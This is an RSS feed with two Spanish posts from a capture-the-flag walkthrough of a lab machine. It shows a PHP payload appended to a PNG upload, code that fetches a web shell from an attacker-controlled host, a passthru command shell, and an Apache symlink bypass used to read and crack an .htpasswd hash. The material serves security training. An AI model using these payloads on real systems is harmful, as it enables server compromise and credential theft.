<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Labs DragonJAR &#187; Shell</title>
	<atom:link href="http://labs.dragonjar.org/tag/shell/feed" rel="self" type="application/rss+xml" />
	<link>http://labs.dragonjar.org</link>
	<description>Laboratorios de Seguridad Informática: Comunidad DragonJAR</description>
	<lastBuildDate>Sun, 06 Jun 2010 10:34:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Solución del HackTaller 01 DragonJAR (VI de VIII)</title>
		<link>http://labs.dragonjar.org/solucion-del-hacktaller-01-dragonjar-vi-de-viii</link>
		<comments>http://labs.dragonjar.org/solucion-del-hacktaller-01-dragonjar-vi-de-viii#comments</comments>
		<pubDate>Mon, 01 Sep 2008 19:53:52 +0000</pubDate>
		<dc:creator>4v4t4r</dc:creator>
				<category><![CDATA[DragoNLab-HackTaller]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[Análisis de Malware]]></category>
		<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[Comandos Linux]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Shell PHP]]></category>
		<category><![CDATA[Vulnerabilidades]]></category>

		<guid isPermaLink="false">http://labs.dragonjar.org/?p=246</guid>
		<description><![CDATA[<img src="http://img213.imageshack.us/img213/9760/icolabscu3.jpg"  />]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Continuamos con la quinta entrega de la solución del HackTaller 01 de la Comunidad DragonJAR en formato de video.</p>
<p style="text-align: justify;">Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 5 publicado por <a href="http://sg6-labs.blogspot.com/2008/03/secgame-1-sauron-resolucin-nivel-5.html" target="_blank"><strong>SG6 Labs</strong></a>:</p>
<p style="text-align: justify;"><a href="http://www.4shared.com/file/61351393/8da74e57/Solucionario_05_HackTaller_LabsDragonJARorg.html" target="_blank"><strong>Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR</strong></a> (SecGame: Sauron)(password: www.dragonjar.org).</p>
<p style="text-align: justify;"><strong>Herramientas necesarias:</strong></p>
<p style="text-align: justify;"><a href="http://es.wikipedia.org/wiki/L%C3%ADnea_de_comandos" target="_blank"></a><a href="../test-de-penetracion-con-backtrack-conceptos-basicos" target="_blank">BackTrack</a>,<a href="http://es.wikipedia.org/wiki/Servidor_web" target="_blank"></a> <a href="http://es.wikipedia.org/wiki/PHP_Shell" target="_blank">Shell PHP</a> (en nuestro caso, <a href="http://www.hirednetwork.com/?p=138" target="_blank">C99</a>), <a href="http://labs.dragonjar.org/laboratorios-hacking-tecnicas-y-contramedidas-ataques-por-fuerza-bruta-brute-force-iii" target="_blank">John The Ripper</a>, <a href="http://www.4shared.com/file/50821894/ef891491/nc11nt.html" target="_blank"><br />
</a></p>
<p style="text-align: justify;"><strong>Palabras claves (Documentos de interés, Definiciones):</strong></p>
<p style="text-align: justify;"><a href="http://es.wikipedia.org/wiki/Servidor_web" target="_blank">Servidor Web</a> &#8211; <a href="http://es.wikipedia.org/wiki/Apache_http_server" target="_blank">Apache</a> &#8211; .<a href="http://mundogeek.net/archivos/2005/05/04/htaccess/" target="_blank">HTACCESS</a> &#8211; <a href="http://labs.dragonjar.org/comandos-habituales-en-linux" target="_blank">Comandos habituales en Linux</a> &#8211; <a href="http://es.wikipedia.org/wiki/.php" target="_blank">PHP</a> &#8211; <a href="../laboratorios-hacking-tecnicas-y-contramedidas-escaneo-de-vulnerabilidades-i" target="_blank">Vulnerabilidades</a> &#8211;  <a href="http://es.wikipedia.org/wiki/L%C3%ADnea_de_comandos" target="_blank">Shell</a>, <a href="http://es.wikipedia.org/wiki/PHP_Shell" target="_blank">Shell PHP</a>, <a href="http://ha.ckers.org/blog/20060914/php-vulnerable-to-null-byte-injection/" target="_blank">Null Byte Injection</a></p>
<p style="text-align: justify;"><span id="more-246"></span>El nivel 5 es quizá uno de los momentos menos concretos de todos los que se pueden presentar. Ahora hemos conseguido ser usuarios locales del sistema, podemos ejecutar comandos, leer directorios, ver configuraciones, y podemos, en definitiva, explorar muchísimas posibilidades.</p>
<p>Sin embargo, hay que matizar algo importante, que puede servir para ahorrarnos muchas horas de trabajo inútil: si nos encontramos en un sistema actualizado, sin fallos de seguridad en el kernel y en otros servicios administrativos, es muy difícil, a menos que el administrador haya configurado algo de forma errónea, escalar privilegios directamente, hacia un usuario administrativo. ¿Qué podemos hacer entonces en estas situaciones?</p>
<p>Nuestro objetivo, en estos casos en los que ser &#8220;root&#8221; o &#8220;Administrador&#8221; no parece ser inmediato, será extraer la mayor cantidad de información del sistema, obtener el mayor número de cuentas de usuario posibles, etc.</p>
<p><strong>¿Cómo conseguir eso?</strong></p>
<p style="text-align: justify;">Primeramente, en los sistemas que tengan servicios web, nos centraremos en estos, ¿por qué?. Básicamente porque el aislamiento entre usuarios web, es quizá no complicado, pero sí tedioso. Es fácil encontrar escenarios en los que directamente podamos acceder a los directorios de otros usuarios en la web, y leer sus ficheros, porque todas estas carpetas pueden ser leídas por el usuario que ejecuta el servidor web ( apache, httpd, etc ). En otros escenarios los usuarios web estarán aislados usando cgi-wrappers. Y únicamente, en los entornos más avanzados y seguros, cada usuario web poseerá una máquina virtual o un vps, en la que sólo existirá él. En caso de no existir escenario web, otros escenarios posibles son por este orden: ficheros de configuración, ficheros temporales, ficheros de logs y permisos inseguros.</p>
<p>En este escenario que nos ocupa, relativamente común en un entorno de seguridad medio con árbol web (incluso muy común en granjas de servidores web), vamos a ver cómo se puede proceder. Lo primero, saber quiénes son los usuarios.</p>
<p><strong>blindware:x:500:500::/var/www/blindware:/bin/bash<br />
intranet:x:501:501::/var/www/intranet:/bin/bash<br />
developer:x:502:502::/home/developer:/bin/bash</strong></p>
<p>El sistema parece tener 3 usuarios. 2 de ellos, usuarios web, uno de los cuales es el usuario con el que podemos ejecutar comandos, y otro es el usuario “intranet”.</p>
<p>Podemos probar a acceder al directorio del usuario intranet (<strong>/var/www/intranet</strong>), pero rápidamente nos daremos cuenta, que poco podemos hacer, pues nos deniega el acceso. Incluso si intentamos leer <strong>/var/www</strong>, obtendremos resultado parecido, puesto que sus permisos son los siguientes:</p>
<p><strong>d&#8211;x&#8211;x&#8211;x 8 root root 4096 May 12 13:52 www</strong></p>
<p>Ésta situación es bastante común, sin embargo, hay un fichero en el sistema que nos será siempre de gran utilidad, y es la configuración del propio Apache, la cual habitualmente se encuentra desprotegida (en este caso dentro de <strong>/etc/httpd/httpd.conf</strong>).</p>
<p><strong>&lt;VirtualHost *:80&gt;<br />
ServerAdmin blindware@blindware.inc<br />
DocumentRoot /var/www/blindware/htdocs<br />
ServerName www.blindware.inc<br />
SuexecUserGroup blindware blindware<br />
&lt;Directory /&gt;<br />
Options Indexes SymLinksIfOwnerMatch ExecCGI<br />
AllowOverride All<br />
&lt;/Directory&gt;<br />
&lt;/VirtualHost&gt;</strong></p>
<p><strong>&lt;VirtualHost *:80&gt;<br />
ServerAdmin intranet@blindware.inc<br />
DocumentRoot /var/www/intranet/htdocs<br />
ServerName intranet.blindware.inc<br />
SuexecUserGroup intranet intranet<br />
&lt;Directory /&gt;<br />
Options Indexes SymLinksIfOwnerMatch ExecCGI<br />
AllowOverride All<br />
&lt;/Directory&gt;<br />
&lt;/VirtualHost&gt;</strong></p>
<p>De esta configuración, lo primero que extraemos, es que los hosts están aislados mediante Apache suEXEC, lo cual hace que PHP esté configurado para ejecución en modo CGI, en vez de cómo módulo de Apache, y por ello antes necesitábamos permisos de ejecución en los ficheros PHP. Tal y como comentamos con anterioridad, no es recomendable ir reinventando la rueda a cada paso, por ello, la pregunta que nos tenemos que hacer en este punto es: ¿existe algún procedimiento público y documentado que permita sobrepasar los mecanismos de aislamiento de hosts basados en Apache suEXEC?.</p>
<p>Existe, únicamente tenemos que buscar en Google: &#8220;<strong>apache suexec</strong>&#8220;, &#8220;<strong>apache suexec bypass</strong>&#8220;, o similares y encontraremos un documento denominado &#8220;<strong>Apache suEXEC Bypass</strong>&#8221; en el cual se nos detalla de forma bastante extensa los problemas de configuración asociados a éste sistema.</p>
<p>A grandes rasgos, nosotros vamos a sacar lo más interesante del documento, para hacernos una idea de cómo podemos proceder para leer ficheros dentro del directorio web del usuario intranet.</p>
<p><strong>1.</strong> Los diferentes hosts virtuales de Apache, mediante suEXEC, lo que consiguen es que cada host ejecute comandos CGI, bajo un usuario diferente. De esta forma, por ejemplo, nosotros ejecutamos comandos con “blindware”, mientras que el vhost intranet, ejecuta comandos con el usuario “intranet”.</p>
<p><strong>2.</strong> Esto permite un esquema de aislamiento “relativamente” sencillo.</p>
<p><strong>drwxr-x&#8212; 3 blindware apache 4096 nov 25 17:00 blindware<br />
drwxr-x&#8212; 3 intranet apache 4096 nov 25 17:00 intranet</strong></p>
<p>Si nos damos cuenta, cada usuario es propietario de su directorio, y ningún otro usuario puede acceder a ellos, a excepción del usuario apache, con el que se ejecuta el servicio web. Esto &#8220;garantiza&#8221;, que aunque el usuario ejecute comandos en el sistema, ningún usuario podrá acceder al directorio de otro usuario.</p>
<p><strong>3.</strong> Esta idea, cuenta con un fallo: el enlace simbólico. Los enlaces simbólicos se pueden establecer sobre ficheros en los que no tenemos permisos. Dicho de otra forma, nosotros como usuario “blindware”, podemos enlazar cualquier fichero del usuario “intranet”, del que conozcamos su existencia.</p>
<p><strong>4.</strong> Una vez enlazado el fichero, podremos usar Apache, para leer el enlace simbólico, de esta forma, el enlace simbólico será leido con los permisos de Apache, usuario Apache, y podremos acceder a aquellos directorios a los que Apache tenga acceso, que comúnmente son todos los del árbol web, puesto que debe poder leerlos.</p>
<p><strong>5.</strong> Para que el ataque tenga éxito Apache, es así por defecto, debe estar activa la opción <strong>FollowSymLinks</strong> en Apache. Por el contrario, si la opción que se encuentra activa es <strong>SymLinksIfOwnerMatch</strong>, el ataque no se podrá realizar, puesto que Apache, únicamente seguirá enlaces que apunten a ficheros propiedad del dueño del enlace.</p>
<p><strong>6.</strong> En caso de estar activa la directiva <strong>SymLinksIfOwnerMatch</strong>, podrá ser modificada por un usuario mediante un fichero <strong>.htaccess</strong>, siempre que las opciones <strong>AllowOverride Options</strong>, o <strong>AllowOverride All</strong>, estén habilitadas.</p>
<p>A priori, parece que nos encontramos en un escenario vulnerable: se usa <strong>suEXEC</strong>, y aunque se encuentra habilitada la opción <strong>SymLinksIfOwnerMatch</strong>, también está habilitada la cláusula <strong>AllowOverride All</strong>. Por tanto, es cuestión de proceder, a través de nuestra shell en PHP según lo que vamos a describir a continuación. Un detalle importante, cuando queramos ejecutar contenido en nuestra shell PHP, cualquier instrucción que incluya caracteres mínimamente extraños, debemos hace uso de URLEncode.</p>
<p><strong>1.</strong> Lo primero que queremos hacer es escribir un fichero <strong>.htaccess</strong> que nos permita aprovecharnos de esta vulnerabilidad. La orden bien pudiera ser esta.</p>
<p><strong>echo &#8220;Options -SymLinksIfOwnerMatch +FollowSymLinks&#8221; &gt; .htaccess</strong></p>
<p>Pero como sabemos, debe ser URLEncodeada, quedando una cadena, para su ejecución en nuestra shell, como la siguiente:</p>
<p><strong>echo+%22Options+-SymLinksIfOwnerMatch+%2BFollowSymLinks%22+%3E+.htaccess</strong></p>
<p><strong>2. </strong>Ahora es cuestión de crear un enlace simbólico, sobre algún contenido que nos interese leer del directorio “intranet”. En este caso, lo más interesante es leer el fichero .htaccess de ese directorio, del que nos garantizamos su existencia, y que además nos impide el acceso al contenido web de <strong>http://intranet.blindware.inc</strong>.<br />
Creamos pues el enlace simbólico:</p>
<p style="text-align: justify;"><strong>ln –s /var/www/intranet/htdocs/.htaccess htaccess</strong></p>
<p>De esta forma, tenemos un enlace directo, en nuestro directorio <strong>http://www.blindware.inc/_controlp/htacccess</strong>, que una vez visitado nos dará el contenido del fichero:</p>
<p><strong>Options +Indexes<br />
AuthName &#8220;Blindware &#8211; Intranet Protected&#8221;<br />
AuthType Basic<br />
AuthUserFile /var/www/intranet/htdocs/.htpasswd<br />
require valid-user</strong></p>
<p><strong>3.</strong> Repetimos el proceso, una vez que conocemos la localización del fichero .htpasswd. Para ello creamos otro enlace simbólico: <strong></strong></p>
<p style="text-align: justify;"><strong>ln -s /var/www/intranet/htdocs/.htpasswd htpasswd</strong></p>
<p>De esta forma, creamos un enlace directo, en nuestro directorio <strong>http://www.blindware.inc/_controlp/htpasswd</strong>, que una vez visitado nos dará el contenido del fichero.</p>
<p><strong>admin:tCPJIYCZjtqF6</strong></p>
<p><strong>4.</strong> Tenemos el usuario, y el hash del acceso a intranet.blindware.inc, podemos bien intentar crackearlo, bien seguir intentando la lectura de ficheros contenidos en ese directorio. A priori es un hash DES tradicional, con lo cual podemos intentar romperlo, a ver qué sucede.</p>
<p>Para romper el hash, hacemos uso de la herramienta “john the ripper”, que es con diferencia el crackeador de passwords más conocido de Unix.</p>
<p><strong>$ john htpasswd</strong><br />
<strong>guesses: 1 time: 0:00:00:10 (3) c/s: 335628 trying: 132449 &#8211; 132498<br />
Loaded 1 password hash (Traditional DES [64/64 BS MMX])<br />
132456 (admin)</strong></p>
<p>Pues ya conocemos el password: 132456 con usuario admin. Lo que nos permite acceder a intranet.blindware.inc y seguir avanzando en la resolución de Sauron. Dentro de 15 días, continuaremos con el siguiente nivel.</p>
]]></content:encoded>
			<wfw:commentRss>http://labs.dragonjar.org/solucion-del-hacktaller-01-dragonjar-vi-de-viii/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Solución del HackTaller 01 DragonJAR (V de VIII)</title>
		<link>http://labs.dragonjar.org/solucion-del-hacktaller-01-dragonjar-v-de-viii</link>
		<comments>http://labs.dragonjar.org/solucion-del-hacktaller-01-dragonjar-v-de-viii#comments</comments>
		<pubDate>Mon, 01 Sep 2008 17:25:04 +0000</pubDate>
		<dc:creator>4v4t4r</dc:creator>
				<category><![CDATA[DragoNLab-HackTaller]]></category>
		<category><![CDATA[Análisis de Malware]]></category>
		<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Shell]]></category>
		<category><![CDATA[Shell PHP]]></category>
		<category><![CDATA[Vulnerabilidades]]></category>

		<guid isPermaLink="false">http://labs.dragonjar.org/?p=242</guid>
		<description><![CDATA[<img src="http://img213.imageshack.us/img213/9760/icolabscu3.jpg"  />]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Continuamos con la quinta entrega de la solución del HackTaller 01 de la Comunidad DragonJAR en formato de video.</p>
<p style="text-align: justify;">Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 4 publicado por <a href="http://sg6-labs.blogspot.com/2008/02/secgame-1-sauron-resolucin-nivel-4.html" target="_blank"><strong>SG6 Labs</strong></a>:</p>
<p style="text-align: justify;"><a href="http://www.4shared.com/file/61331624/79bc3574/Solucionario_HackTaller_DragonJARorg.html" target="_blank"><strong>Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR</strong></a> (SecGame: Sauron)(password: www.dragonjar.org) &#8211; Incluye la Shell C99 codificada en base 64 &#8220;no detectable&#8221;.</p>
<p style="text-align: justify;"><strong>Herramientas necesarias:</strong></p>
<p style="text-align: justify;"><a href="http://es.wikipedia.org/wiki/L%C3%ADnea_de_comandos" target="_blank">Shell Linux</a>/<a href="http://labs.dragonjar.org/test-de-penetracion-con-backtrack-conceptos-basicos" target="_blank">BackTrack</a>, <a href="http://es.wikipedia.org/wiki/Servidor_web" target="_blank">Servidor Web</a> (incluido en <a href="http://labs.dragonjar.org/test-de-penetracion-con-backtrack-conceptos-basicos" target="_blank">backtrack</a>-<a href="http://es.wikipedia.org/wiki/Apache_http_server" target="_blank">Apache</a>), <a href="http://es.wikipedia.org/wiki/PHP_Shell" target="_blank">Shell PHP</a> (en nuestro caso, <a href="http://www.hirednetwork.com/?p=138" target="_blank">C99</a>)<a href="http://www.4shared.com/file/50821894/ef891491/nc11nt.html" target="_blank"><br />
</a></p>
<p style="text-align: justify;"><strong>Palabras claves (Documentos de interés, Definiciones):</strong></p>
<p style="text-align: justify;"><a href="http://es.wikipedia.org/wiki/Netcat" target="_blank"></a> <a href="http://es.wikipedia.org/wiki/Servidor_web" target="_blank">Servidor Web</a> &#8211; <a href="http://es.wikipedia.org/wiki/Apache_http_server" target="_blank">Apache</a> &#8211; <a href="http://es.wikipedia.org/wiki/.php" target="_blank">PHP</a> &#8211; <a href="../laboratorios-hacking-tecnicas-y-contramedidas-escaneo-de-vulnerabilidades-i" target="_blank">Vulnerabilidades</a> &#8211; <a href="http://www.tips.cl/viewtopic.php?p=52&amp;sid=4c922498c6ef26b0056db3390cb08fa8" target="_blank">Comando CAT</a>, <a href="http://es.wikipedia.org/wiki/L%C3%ADnea_de_comandos" target="_blank">Shell</a>, <a href="http://es.wikipedia.org/wiki/PHP_Shell" target="_blank">Shell PHP</a>, <a href="http://ha.ckers.org/blog/20060914/php-vulnerable-to-null-byte-injection/" target="_blank">Null Byte Injection</a></p>
<p style="text-align: justify;"><span id="more-242"></span><strong>Este es el aspecto que presenta el nivel 4. Dividido en 4 secciones:</strong></p>
<ul>
<li>Información sobre el sistema</li>
<li>Administración de MySQL mediante MySQL Admin</li>
<li>Visualización de Estadísticas</li>
<li>Cambio de parámetros</li>
</ul>
<p style="text-align: justify;">Sobre la visualización de estadísticas, poco hay que comentar. Ya nos es familiar porque ya hemos accedido a ella, pero desde otro lugar, durante el nivel 2, por tanto no aporta nada a lo que ya conocemos.</p>
<p>Luego existen 2 partes que contienen aplicaciones públicas, por un lado tenemos phpSysInfo, y por otro phpMyAdmin. En la idea original de este juego está el que no sea necesario el uso de fallos en aplicativos públicos para superarlo, siendo así por un motivo bien sencillo: con el paso del tiempo uno o todos los aplicativos que existen instalados en la máquina virtual serán susceptibles de fallos.</p>
<p>No obstante, podemos evaluar la seguridad de estas versiones, y ver que no parecen existir exploits públicos relevantes para las mismas. Existe un XSS en phpSysInfo, poco relevante para una explotación efectiva, al igual que otro en phpMyAdmin. Comentar como apunte que el hecho de que a fecha de hoy no parezcan existir ataques relevantes no quiere decir, evidentemente, que en un futuro no puedan aparecer, e incluso, y dado que son aplicaciones de código abierto, una vez agotadas el resto de vías, es posible que una revisión exhaustiva de su código fuente, y de su ejecución, pueda revelarnos fallos de seguridad no públicos.</p>
<p>Sin embargo, en el caso que nos ocupa, antes de llegar a la revisión de código público, hay que percatarse de la sección &#8220;Cambio de parámetros&#8221; la cual permite la subida de un fichero al servidor. Ésta *siempre* es una función crítica y debe ser evaluado su riesgo, ya que permitirá al atacante subir algún tipo de contenido a nuestro sistema.</p>
<p>Para el caso que nos ocupa, podemos darnos cuenta que la robustez y codificación de la subida de imágenes es la apropiada:</p>
<ul>
<li>Únicamente permite ficheros con extensión PNG</li>
<li>El tamaño del fichero está limitado a 8KB</li>
<li>El contenido del fichero debe corresponder con una imagen PNG</li>
</ul>
<p style="text-align: justify;">Esto hace que no podamos subir un fichero renombrado como .PNG, sino que debamos subir un gráfico PNG, limitado a 8KB, y con extensión PNG. Por tanto, a priori, podemos pensar que no existe posibilidad alguna de explotar ningún fallo. Bien, veremos que no es así.</p>
<p>Lo primero que debemos plantearnos es: ¿en una imagen PNG únicamente puede existir eso?. La respuesta es que no. Nada más sencillo que concatenar al final de un fichero PNG, código ejecutable en formato PHP. Para ello, a partir de una imagen PNG de menos de 8KB y válida para subirla al servidor, hacemos lo siguiente:</p>
<p><strong>$ cat &gt;&gt; img.png<br />
&lt;? phpinfo(); ?&gt;</strong></p>
<p>Para los no familiarizados con UNIX, decir que simplemente hemos añadido al final del fichero ese código PHP. Una vez hecho esto, tendremos un fichero válido, en formato PNG, que contiene al final del mismo un código PHP. Este fichero podrá ser subido al servidor.</p>
<p>¿Y ahora qué?. Ahora queda percatarse de un par de detalles importantes. El primero, ¿cómo se llama el fichero que contiene la imagen?. En este caso, el fichero de imagen es: <strong>http://www.blindware.inc/_controlp/image.php</strong>, o dicho de otra forma, un fichero PHP se encarga de servir la imagen, de la que aún desconocemos su nombre y ubicación. ¿Cómo podemos saberla?. Pues haciendo uso del error que vimos en el nivel 3 dentro del fichero index.php, que permitía la lectura de ficheros. Con ese error leemos el contenido de image.php:</p>
<p><strong>&lt;? header(&#8220;Content-Type: image/png&#8221;); readfile(&#8220;01.png&#8221;); ?&gt;</strong></p>
<p>Por tanto, nuestro fichero subido sabemos que se llama &#8220;01.png&#8221; y que se encuentra en el mismo directorio de <strong>/_controlp/</strong> que el resto de datos. ¿Cómo podemos explotar el fichero con contenido PHP?. En este caso concreto, es cuando se puede apreciar, como la subida de ficheros maximiza el riesgo de otro de los fallos encontrados en el nivel 3. Si recordamos además de leer ficheros mediante el error localizado en index.php, podemos incluir ficheros para ser procesados por PHP desde un error con idéntica explotación localizado en login.php. Al hacerlo obtenemos como resultado de incluir nuestro fichero 01.png manipulado lo siguiente:</p>
<p>Como vemos, el contenido de la instrucción phpinfo() se muestra a continuación de los datos contenidos en la imagen. Esta información puede ser poco relevante, pero para la explotación efectiva únicamente hay que construir un exploit ligeramente más elaborado, que bien pudiera ser el que vamos a comentar a continuación.</p>
<p>El objetivo del exploit es conseguir crear una shell en PHP dentro de esta máquina. Para ello, el código que proponemos incluir dentro de la imagen es el siguiente:</p>
<p><strong>&lt;? copy(“http://ip/shell.txt”,”shell.php”); ?&gt;</strong></p>
<p>Vaya por delante que la explotación se puede realizar de muchas maneras. Nosotros por elegancia, siempre proponemos que el código a incluir en el exploit sea mínimo. En este caso, el exploit únicamente copia una shell remota localizada en shell.txt al servidor victima.</p>
<p>El contenido de shell.txt puede ser el siguiente:</p>
<p><strong>&lt;?<br />
header(“Content-Type: text/plain”);<br />
passthru($_GET[“cmd”);<br />
?&gt;</strong></p>
<p>El objetivo de este script es ejecutar el comando que pasemos como parámetr en la variable &#8220;cmd&#8221;. De tal forma, si ahora subimos la imagen con el primer código al servidor, y colocamos en la IP de un servidor web que usemos para el ataque el fichero “shell.txt”, debemos conseguir que este se copie al servidor y acceder a él desde la dirección http://www.blindware.inc/_controlp/shell.php</p>
<p>Aquí aparece un problema. Al acceder a esa URL veremos que no aparece nada, y es que hay un detalle importante siempre que subamos contenido ejecutable a un servidor. A priori no sabemos qué permisos serán necesarios para su ejecución, y la función copy lo más probable es que haya creado un fichero con permisos 644. Para ello podemos verificar qué permisos tienen los ficheros php de los que conocemos su existencia. En este caso los ficheros deben tener permisos 755. Por ello tenemos que modificar ligeramente el exploit a incluir dentro del fichero PNG al siguiente:</p>
<p><strong>&lt;? copy(“http://ip/shell.txt”,”shell.php”); chmod(“shell.php”,0755); ?&gt;</strong></p>
<p><strong>Nota:</strong> importante colocar un 0 delante del 755, sino no conseguiremos los permisos rwxr-xr-x</p>
<p>Hecho esto, tendremos acceso al sistema de forma remota y habremos superado el nivel, como muestran las siguientes URLs:</p>
<p><strong>http://www.blindware.inc/_controlp/shell.php?cmd=uname%20-a<br />
Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux</strong></p>
<p><strong>http://www.blindware.inc/_controlp/shell.php?cmd=id<br />
uid=500(blindware) gid=500(blindware) groups=500(blindware)</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://labs.dragonjar.org/solucion-del-hacktaller-01-dragonjar-v-de-viii/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

